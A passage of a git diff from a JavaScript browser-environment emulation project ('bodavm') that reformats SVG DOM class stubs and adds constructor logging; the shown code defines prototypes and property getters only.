-bodavm.memory.globalobj['SVGForeignObjectElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "height_get", arguments)}, set:undefined},'prototype'); +// SVGForeignObjectElement对象 + +bodavm.memory.globalobj['SVGForeignObjectElement'] = function SVGForeignObjectElement() { + console.log_copy('SVGForeignObjectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGForeignObjectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGForeignObjectElement'], "SVGForeignObjectElement"); +bodavm.memory.globalobj['SVGForeignObjectElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGForeignObjectElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGGElement.js b/env_xbb_lastest_jsdom/env/SVGGElement.js index 80cbd15f..8287b0a1 100644 --- a/env_xbb_lastest_jsdom/env/SVGGElement.js +++ b/env_xbb_lastest_jsdom/env/SVGGElement.js @@ -1,5 +1,19 @@ -// SVGGElement对象 -bodavm.memory.globalobj['SVGGElement'] = function SVGGElement(){if (!(this instanceof SVGGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGElement'], "SVGGElement"); -bodavm.memory.globalobj['SVGGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGGElement对象 + +bodavm.memory.globalobj['SVGGElement'] = function SVGGElement() { + console.log_copy('SVGGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGElement'], "SVGGElement"); +bodavm.memory.globalobj['SVGGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGGeometryElement.js b/env_xbb_lastest_jsdom/env/SVGGeometryElement.js index f87f6e05..a975cf16 100644 --- a/env_xbb_lastest_jsdom/env/SVGGeometryElement.js +++ b/env_xbb_lastest_jsdom/env/SVGGeometryElement.js @@ -1,10 +1,59 @@ -// SVGGeometryElement对象 -bodavm.memory.globalobj['SVGGeometryElement'] = function SVGGeometryElement(){if (!(this instanceof SVGGeometryElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGeometryElement'], "SVGGeometryElement"); -bodavm.memory.globalobj['SVGGeometryElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGGeometryElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "pathLength", {configurable:true, enumerable:true, get:function pathLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "pathLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getPointAtLength", {configurable:true, enumerable:true, writable:true, value:function getPointAtLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getPointAtLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getTotalLength", {configurable:true, enumerable:true, writable:true, value:function getTotalLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getTotalLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInFill", {configurable:true, enumerable:true, writable:true, value:function isPointInFill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInFill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInStroke", arguments)}},'prototype'); +// SVGGeometryElement对象 + +bodavm.memory.globalobj['SVGGeometryElement'] = function SVGGeometryElement() { + console.log_copy('SVGGeometryElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGeometryElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGeometryElement'], "SVGGeometryElement"); +bodavm.memory.globalobj['SVGGeometryElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGeometryElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "pathLength", { + configurable: true, + enumerable: true, + get: function pathLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "pathLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getPointAtLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getPointAtLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getPointAtLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getTotalLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getTotalLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getTotalLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInFill", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInFill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInFill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInStroke", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGGradientElement.js b/env_xbb_lastest_jsdom/env/SVGGradientElement.js index 642088af..2ddaec15 100644 --- a/env_xbb_lastest_jsdom/env/SVGGradientElement.js +++ b/env_xbb_lastest_jsdom/env/SVGGradientElement.js @@ -1,17 +1,99 @@ -// SVGGradientElement对象 -bodavm.memory.globalobj['SVGGradientElement'] = function SVGGradientElement(){if (!(this instanceof SVGGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGradientElement'], "SVGGradientElement"); -bodavm.memory.globalobj['SVGGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGGradientElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientUnits", {configurable:true, enumerable:true, get:function gradientUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientTransform", {configurable:true, enumerable:true, get:function gradientTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientTransform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "spreadMethod", {configurable:true, enumerable:true, get:function spreadMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "spreadMethod_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGradientElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGGradientElement对象 + +bodavm.memory.globalobj['SVGGradientElement'] = function SVGGradientElement() { + console.log_copy('SVGGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGradientElement'], "SVGGradientElement"); +bodavm.memory.globalobj['SVGGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGGradientElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientUnits", { + configurable: true, + enumerable: true, + get: function gradientUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientTransform", { + configurable: true, + enumerable: true, + get: function gradientTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientTransform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "spreadMethod", { + configurable: true, + enumerable: true, + get: function spreadMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "spreadMethod_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGGraphicsElement.js b/env_xbb_lastest_jsdom/env/SVGGraphicsElement.js index aec51afd..28c4c095 100644 --- a/env_xbb_lastest_jsdom/env/SVGGraphicsElement.js +++ b/env_xbb_lastest_jsdom/env/SVGGraphicsElement.js @@ -1,13 +1,83 @@ -// SVGGraphicsElement对象 -bodavm.memory.globalobj['SVGGraphicsElement'] = function SVGGraphicsElement(){if (!(this instanceof SVGGraphicsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGraphicsElement'], "SVGGraphicsElement"); -bodavm.memory.globalobj['SVGGraphicsElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGGraphicsElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "nearestViewportElement", {configurable:true, enumerable:true, get:function nearestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "nearestViewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "farthestViewportElement", {configurable:true, enumerable:true, get:function farthestViewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "farthestViewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getBBox", {configurable:true, enumerable:true, writable:true, value:function getBBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getBBox", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getCTM", {configurable:true, enumerable:true, writable:true, value:function getCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getCTM", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getScreenCTM", {configurable:true, enumerable:true, writable:true, value:function getScreenCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getScreenCTM", arguments)}},'prototype'); +// SVGGraphicsElement对象 + +bodavm.memory.globalobj['SVGGraphicsElement'] = function SVGGraphicsElement() { + console.log_copy('SVGGraphicsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGraphicsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGraphicsElement'], "SVGGraphicsElement"); +bodavm.memory.globalobj['SVGGraphicsElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGGraphicsElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "nearestViewportElement", { + configurable: true, + enumerable: true, + get: function nearestViewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "nearestViewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "farthestViewportElement", { + configurable: true, + enumerable: true, + get: function farthestViewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "farthestViewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getBBox", { + configurable: true, + enumerable: true, + writable: true, + value: function getBBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getBBox", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getCTM", { + configurable: true, + enumerable: true, + writable: true, + value: function getCTM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getCTM", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getScreenCTM", { + configurable: true, + enumerable: true, + writable: true, + value: function getScreenCTM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getScreenCTM", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGImageElement.js b/env_xbb_lastest_jsdom/env/SVGImageElement.js index 64b306e8..7bdf8130 100644 --- a/env_xbb_lastest_jsdom/env/SVGImageElement.js +++ b/env_xbb_lastest_jsdom/env/SVGImageElement.js @@ -1,13 +1,85 @@ -// SVGImageElement对象 -bodavm.memory.globalobj['SVGImageElement'] = function SVGImageElement(){if (!(this instanceof SVGImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGImageElement'], "SVGImageElement"); -bodavm.memory.globalobj['SVGImageElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGImageElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decode", arguments)}},'prototype'); +// SVGImageElement对象 + +bodavm.memory.globalobj['SVGImageElement'] = function SVGImageElement() { + console.log_copy('SVGImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGImageElement'], "SVGImageElement"); +bodavm.memory.globalobj['SVGImageElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGImageElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decode", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGLength.js b/env_xbb_lastest_jsdom/env/SVGLength.js index 4ad14fbd..fa3f2f7d 100644 --- a/env_xbb_lastest_jsdom/env/SVGLength.js +++ b/env_xbb_lastest_jsdom/env/SVGLength.js @@ -1,31 +1,203 @@ -// SVGLength对象 -bodavm.memory.globalobj['SVGLength'] = function SVGLength(){if (!(this instanceof SVGLength)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLength'], "SVGLength"); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGLength', 